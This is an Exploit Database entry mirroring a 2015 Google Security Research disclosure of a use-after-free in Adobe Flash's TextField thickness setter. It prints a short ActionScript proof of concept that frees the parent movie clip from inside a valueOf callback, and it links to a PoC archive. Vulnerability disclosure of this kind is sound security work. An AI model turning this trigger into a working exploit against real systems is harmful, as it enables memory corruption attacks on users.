Adobe Flash TextField.thickness Setter – Use-After-Free

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39045/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=587
  
  There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.
  
  A minimal PoC is as follows:
  
  var times = 0;
  var mc = this.createEmptyMovieClip("mc", 101);
  var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
  tf.thickness = {valueOf : func};
  
  function func(){
   
  if(times == 0){
  times++;
  return 0;
  }
  
  	mc.removeMovieClip();
  
  // Fix heap here
  
  	return 0;
  	
  	}
  
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39045.zip